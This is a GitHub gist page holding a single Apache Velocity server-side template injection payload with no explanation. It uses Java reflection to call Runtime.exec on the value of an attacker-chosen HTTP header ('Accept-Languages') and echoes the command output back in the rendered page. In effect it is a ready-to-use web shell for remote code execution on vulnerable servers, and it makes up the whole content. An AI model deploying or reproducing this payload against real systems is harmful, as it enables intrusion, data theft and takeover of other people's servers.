Skip to content

Instantly share code, notes, and snippets.

@devme4f
Created September 28, 2023 08:28
Show Gist options
  • Save devme4f/230de700e1e47b170dbca0609b17cb2d to your computer and use it in GitHub Desktop.
Save devme4f/230de700e1e47b170dbca0609b17cb2d to your computer and use it in GitHub Desktop.
devme_312
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($is=$x.class.forName('java.io.InputStream'))
#set($sn=$x.class.forName('java.util.Scanner'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec($request.getHeader('Accept-Languages')))
$ex.waitFor()
#set($out=$sn.getConstructor($is).newInstance($ex.getInputStream()).useDelimiter('\A').next())
$str.valueOf($out)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment